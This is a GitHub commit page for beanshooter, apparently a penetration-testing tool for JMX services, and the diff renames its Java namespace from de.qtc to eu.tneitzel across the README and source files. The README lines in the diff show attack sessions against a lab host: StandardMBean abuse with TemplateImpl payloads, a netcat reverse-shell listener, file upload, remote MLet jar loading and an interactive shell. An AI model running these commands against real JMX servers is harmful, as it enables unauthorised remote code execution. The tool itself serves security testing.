Skip to content

Commit

Permalink
Switch namespace
Browse files Browse the repository at this point in the history
Switch the namespace from de.qtc to eu.tneitzel. When the namespace was
initially chosen, just the authors username was used. Now we are
thinking about making beanshooter available in maven repositories and
therefore switched the namespace to a domain that is actually owned by
the author.
  • Loading branch information
qtc-de committed Dec 9, 2023
1 parent 5334435 commit 673b3be
Show file tree
Hide file tree
Showing 130 changed files with 560 additions and 560 deletions.
54 changes: 27 additions & 27 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -463,11 +463,11 @@ The following listing shows an example usage, where an `File` object is provided
and the `String[] list()` operation is invoked on it:

```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 eu.tneitzel.beanshooter:version=1 java.io.File 'new java.io.File("/")'
[+] Deploying RequiredModelMBean supporting methods from java.io.File
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+] MBean with object name eu.tneitzel.beanshooter:version=1 was successfully deployed.
[+]
[+] Available Methods:
[+] - java.lang.String toString()
Expand All @@ -478,7 +478,7 @@ and the `String[] list()` operation is invoked on it:
[+]
[+] Setting managed resource to: new java.io.File("/")
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 eu.tneitzel.beanshooter:version=1 --signature 'list()'
root
var
opt
Expand All @@ -502,9 +502,9 @@ sys
The `setManagedResource` method is always available and can be used to change the object instance to operate on:

```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'setManagedResource(Object a, String b)' 'new java.io.File("/etc")' objectReference
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 eu.tneitzel.beanshooter:version=1 --signature 'setManagedResource(Object a, String b)' 'new java.io.File("/etc")' objectReference
[+] Call was successful.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 eu.tneitzel.beanshooter:version=1 --signature 'list()'
passwd
shells
opt
Expand All @@ -521,11 +521,11 @@ not matter. E.g. if you want to invoke `getProperties()` from `java.lang.System`
as object instance. Only the specified class name matters in this case:

```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.lang.System '"does not matter"'
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 eu.tneitzel.beanshooter:version=1 java.lang.System '"does not matter"'
[+] Deploying RequiredModelMBean supporting methods from java.lang.System
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+] MBean with object name eu.tneitzel.beanshooter:version=1 was successfully deployed.
[+]
[+] Available Methods:
[+] - void runFinalization()
Expand Down Expand Up @@ -557,7 +557,7 @@ as object instance. Only the specified class name matters in this case:
[+]
[+] Setting managed resource to: "does not matter"
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'getProperties()'
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 eu.tneitzel.beanshooter:version=1 --signature 'getProperties()'
java.vm.info
--> mixed mode
java.runtime.version
Expand All @@ -574,22 +574,22 @@ provide an object instance that is also not a default class (not present in `rt.
the target class needs to be loaded by the same *ClassLoader* as the provided object instance. For *beanshooters*
*example-server*, `javax.management.remote.message.VersionMessage` is suitable, as this class is present
in `opendmk_jmxremote_optional_jar` which is present in the client as well as in the server. We can use
this as an object instance to invoke methods on other custom classes, like `de.qtc.beanshooter.server.utils.Logger`:
this as an object instance to invoke methods on other custom classes, like `eu.tneitzel.beanshooter.server.utils.Logger`:

```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=0 de.qtc.beanshooter.server.utils.Logger 'new javax.management.remote.message.VersionMessage("test")' --signature 'String getIndent()'
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 eu.tneitzel.beanshooter:version=0 eu.tneitzel.beanshooter.server.utils.Logger 'new javax.management.remote.message.VersionMessage("test")' --signature 'String getIndent()'
[+] Deploying RequiredModelMBean supporting user specified methods
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=0 was successfully deployed.
[+] MBean with object name eu.tneitzel.beanshooter:version=0 was successfully deployed.
[+]
[+] Available Methods:
[+] - String getIndent()
[+] - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] Setting managed resource to: new javax.management.remote.message.VersionMessage("test")
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=0 --signature 'String getIndent()'
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 eu.tneitzel.beanshooter:version=0 --signature 'String getIndent()'
EMPTY OUTPUT - Just an Indent ;)
```

Expand Down Expand Up @@ -659,7 +659,7 @@ the `--class-name`, `--object-name` and `--jar-file` options are required.
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Class: eu.tneitzel.beanshooter.tonkabean.TonkaBean
[+] Archive: 93691b8bae4143f087f7a3123641b20d
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: http://172.17.0.1:8888
Expand All @@ -680,12 +680,12 @@ and *beanshooter* implements it to allow command execution, file upload and *Ton
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=3873612041699 was successfully deployed.
[+] MBean with object name eu.tneitzel.beanshooter:standard=3873612041699 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=3873612041699 from the MBeanServer.
[+] Removing MBean with ObjectName eu.tneitzel.beanshooter:standard=3873612041699 from the MBeanServer.
[+] MBean was successfully removed.
...
[qtc@devbox ~]$ nc -vlp 4444
Expand All @@ -710,12 +710,12 @@ recommended to use the *TonkaBean* deployment for executing commands:
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4121868972140 was successfully deployed.
[+] MBean with object name eu.tneitzel.beanshooter:standard=4121868972140 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4121868972140 from the MBeanServer.
[+] Removing MBean with ObjectName eu.tneitzel.beanshooter:standard=4121868972140 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
Expand All @@ -730,31 +730,31 @@ you may be able to upload the *TonkaBean* Jar file and load it via *MLet* and th
[qtc@devbox ~]$ beanshooter tonka export --stager-url file:///tmp/
[+] Exporting MBean jar file: ./tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Exporting MLet HTML file to: ./index.html
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Class: eu.tneitzel.beanshooter.tonkabean.TonkaBean
[+] Archive: tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: file:/tmp/
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload tonka-bean-4.0.0-jar-with-dependencies.jar::/tmp/tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4825542879735 was successfully deployed.
[+] MBean with object name eu.tneitzel.beanshooter:standard=4825542879735 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4825542879735 from the MBeanServer.
[+] Removing MBean with ObjectName eu.tneitzel.beanshooter:standard=4825542879735 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload index.html::/tmp/index.html
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4836961801045 was successfully deployed.
[+] MBean with object name eu.tneitzel.beanshooter:standard=4836961801045 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4836961801045 from the MBeanServer.
[+] Removing MBean with ObjectName eu.tneitzel.beanshooter:standard=4836961801045 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url file:///tmp/index.html
[+] Starting MBean deployment.
Expand Down Expand Up @@ -861,7 +861,7 @@ a builtin jar file is available):
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Class: eu.tneitzel.beanshooter.tonkabean.TonkaBean
[+] Archive: 440441bf8c794d40a83caf1e34cd9993
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: http://172.17.0.1:8000
Expand Down Expand Up @@ -891,7 +891,7 @@ form an *SMB* service listening on `10.10.10.5`, you could use the following com
[qtc@devbox ~]$ beanshooter tonka export --export-dir export --stager-url file:////10.10.10.5/share/
[+] Exporting MBean jar file: export/tonka-bean-3.0.0-jar-with-dependencies.jar
[+] Exporting MLet HTML file to: export/index.html
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Class: eu.tneitzel.beanshooter.tonkabean.TonkaBean
[+] Archive: tonka-bean-3.0.0-jar-with-dependencies.jar
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: file:////10.10.10.5/share/
Expand Down Expand Up @@ -949,7 +949,7 @@ that *beanshooters* locally stores on the corresponding *MBean* and no server in
[qtc@devbox ~]$ beanshooter tonka stats
[+] MBean: tonka
[+] Object Name: MLetTonkaBean:name=TonkaBean,id=1
[+] Class Name: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Class Name: eu.tneitzel.beanshooter.tonkabean.TonkaBean
[+] Jar File: available (tonka-bean-3.0.0-jar-with-dependencies.jar)
```

Expand Down Expand Up @@ -1146,7 +1146,7 @@ an *MBean* class from a user specified *URL*:
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Class: eu.tneitzel.beanshooter.tonkabean.TonkaBean
[+] Archive: 3584de270132420aaf0812366bc46035
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: http://172.17.0.1:8000
Expand All @@ -1163,7 +1163,7 @@ you want to load a custom *MBean* instead, you need to specify the keyword `cust
the `--class-name`, `--object-name` and `--jar-file` options:

```console
[qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 custom http://172.17.0.1:8000 --class-name de.qtc.beanshooter.ExampleBean --object-name ExampleBean:name=ExampleBean,id=1 --jar-file www/example.jar
[qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 custom http://172.17.0.1:8000 --class-name eu.tneitzel.beanshooter.ExampleBean --object-name ExampleBean:name=ExampleBean,id=1 --jar-file www/example.jar
[+] Starting MBean deployment.
[+] ...
[+] MBean was loaded successfully.
Expand Down
4 changes: 2 additions & 2 deletions beanshooter/pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
<modelVersion>4.0.0</modelVersion>

<parent>
<groupId>de.qtc.beanshooter</groupId>
<groupId>eu.tneitzel.beanshooter</groupId>
<artifactId>reactor</artifactId>
<version>4.1.0</version>
</parent>
Expand Down Expand Up @@ -93,7 +93,7 @@
<finalName>beanshooter-${project.version}</finalName>
<archive>
<manifest>
<mainClass>de.qtc.beanshooter.Starter</mainClass>
<mainClass>eu.tneitzel.beanshooter.Starter</mainClass>
<addDefaultImplementationEntries>true</addDefaultImplementationEntries>
</manifest>
<manifestEntries>
Expand Down
Original file line number Diff line number Diff line change
@@ -1,8 +1,8 @@
package de.qtc.beanshooter;
package eu.tneitzel.beanshooter;

import de.qtc.beanshooter.cli.ArgumentHandler;
import de.qtc.beanshooter.cli.Operation;
import de.qtc.beanshooter.utils.Utils;
import eu.tneitzel.beanshooter.cli.ArgumentHandler;
import eu.tneitzel.beanshooter.cli.Operation;
import eu.tneitzel.beanshooter.utils.Utils;

/**
* The Stater class handles the startup process of beanshooter. beanshooter actions
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package de.qtc.beanshooter.cli;
package eu.tneitzel.beanshooter.cli;

/**
* The ArgType enum contains the possible argument types that may be passed on the
Expand Down
Original file line number Diff line number Diff line change
@@ -1,19 +1,19 @@
package de.qtc.beanshooter.cli;
package eu.tneitzel.beanshooter.cli;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Map;
import java.util.Properties;

import de.qtc.beanshooter.exceptions.ExceptionHandler;
import de.qtc.beanshooter.io.Logger;
import de.qtc.beanshooter.mbean.MBean;
import de.qtc.beanshooter.mbean.MBeanOperation;
import de.qtc.beanshooter.operation.BeanshooterOperation;
import de.qtc.beanshooter.operation.BeanshooterOption;
import de.qtc.beanshooter.plugin.PluginSystem;
import de.qtc.beanshooter.utils.Utils;
import eu.tneitzel.beanshooter.exceptions.ExceptionHandler;
import eu.tneitzel.beanshooter.io.Logger;
import eu.tneitzel.beanshooter.mbean.MBean;
import eu.tneitzel.beanshooter.mbean.MBeanOperation;
import eu.tneitzel.beanshooter.operation.BeanshooterOperation;
import eu.tneitzel.beanshooter.operation.BeanshooterOption;
import eu.tneitzel.beanshooter.plugin.PluginSystem;
import eu.tneitzel.beanshooter.utils.Utils;
import net.sourceforge.argparse4j.ArgumentParsers;
import net.sourceforge.argparse4j.inf.ArgumentParser;
import net.sourceforge.argparse4j.inf.ArgumentParserException;
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package de.qtc.beanshooter.cli;
package eu.tneitzel.beanshooter.cli;

/**
* beanshooter was designed with extensibility in mind. The argument layout is centered
Expand All @@ -9,8 +9,8 @@
* argument layout automatically.
*
* Apart from adding the enum implementing Operation, the MBean must also be registered within
* the de.qtc.beanshooter.mbean.MBean class. It is recommended to look at the already existing
* MBean implementations in the de.qtc.beanshooter.mbean package.
* the eu.tneitzel.beanshooter.mbean.MBean class. It is recommended to look at the already existing
* MBean implementations in the eu.tneitzel.beanshooter.mbean package.
*
* @author Tobias Neitzel (@qtc_de)
*/
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package de.qtc.beanshooter.cli;
package eu.tneitzel.beanshooter.cli;

import net.sourceforge.argparse4j.inf.ArgumentAction;
import net.sourceforge.argparse4j.inf.Namespace;
Expand All @@ -9,7 +9,7 @@
* their own package namespace using an enum that implements the Option interface.
*
* The enum should contain all available options in the same format as they are
* stored in the de.qtc.beanshooter.operations.BeanshooterOption enum. beanshooter
* stored in the eu.tneitzel.beanshooter.operations.BeanshooterOption enum. beanshooter
* uses the interface functions to obtain the option values during runtime and to
* add them to the command line.
*
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package de.qtc.beanshooter.cli;
package eu.tneitzel.beanshooter.cli;

import java.util.HashMap;
import java.util.Objects;
Expand Down
Original file line number Diff line number Diff line change
@@ -1,17 +1,17 @@
package de.qtc.beanshooter.cli;
package eu.tneitzel.beanshooter.cli;

import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Properties;

import de.qtc.beanshooter.io.Logger;
import de.qtc.beanshooter.mbean.MBean;
import de.qtc.beanshooter.mbean.mlet.MLetOption;
import de.qtc.beanshooter.mbean.tomcat.MemoryUserDatabaseMBeanOption;
import de.qtc.beanshooter.mbean.tonkabean.TonkaBeanOption;
import de.qtc.beanshooter.operation.BeanshooterOption;
import de.qtc.beanshooter.utils.Utils;
import eu.tneitzel.beanshooter.io.Logger;
import eu.tneitzel.beanshooter.mbean.MBean;
import eu.tneitzel.beanshooter.mbean.mlet.MLetOption;
import eu.tneitzel.beanshooter.mbean.tomcat.MemoryUserDatabaseMBeanOption;
import eu.tneitzel.beanshooter.mbean.tonkabean.TonkaBeanOption;
import eu.tneitzel.beanshooter.operation.BeanshooterOption;
import eu.tneitzel.beanshooter.utils.Utils;
import net.sourceforge.argparse4j.inf.Argument;
import net.sourceforge.argparse4j.inf.ArgumentGroup;
import net.sourceforge.argparse4j.inf.ArgumentParser;
Expand All @@ -20,7 +20,7 @@
/**
* The OptionHandler class (not to be confused with the ArgumentHandler class) is a helper class
* that is used to initialize the beanshooter and MBean options. Options are either defined
* within the de.qtc.beanshooter.operation.BeanshooterOption class or within classes specified
* within the eu.tneitzel.beanshooter.operation.BeanshooterOption class or within classes specified
* in the MBeam enum. This class uses a static block to obtain all these options and implements
* functions to initialize them.
*
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package de.qtc.beanshooter.cli;
package eu.tneitzel.beanshooter.cli;

import java.io.IOException;
import java.util.Map;
Expand All @@ -13,12 +13,12 @@

import org.jolokia.client.exception.J4pRemoteException;

import de.qtc.beanshooter.exceptions.AuthenticationException;
import de.qtc.beanshooter.exceptions.ExceptionHandler;
import de.qtc.beanshooter.exceptions.MismatchedURIException;
import de.qtc.beanshooter.exceptions.SaslProfileException;
import de.qtc.beanshooter.operation.BeanshooterOption;
import de.qtc.beanshooter.plugin.PluginSystem;
import eu.tneitzel.beanshooter.exceptions.AuthenticationException;
import eu.tneitzel.beanshooter.exceptions.ExceptionHandler;
import eu.tneitzel.beanshooter.exceptions.MismatchedURIException;
import eu.tneitzel.beanshooter.exceptions.SaslProfileException;
import eu.tneitzel.beanshooter.operation.BeanshooterOption;
import eu.tneitzel.beanshooter.plugin.PluginSystem;

/**
* When using the JMXMP protocol for connecting to a JMX server, SASL authentication is supported.
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package de.qtc.beanshooter.exceptions;
package eu.tneitzel.beanshooter.exceptions;

/**
* The ApacheKarafException is thrown when Apache Karaf specific error messages
Expand Down
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
package de.qtc.beanshooter.exceptions;
package eu.tneitzel.beanshooter.exceptions;

import de.qtc.beanshooter.io.Logger;
import eu.tneitzel.beanshooter.io.Logger;

/**
* A failed authentication attempt on a JMX endpoint needs to be handled in different ways
Expand Down
Loading

0 comments on commit 673b3be

Please sign in to comment.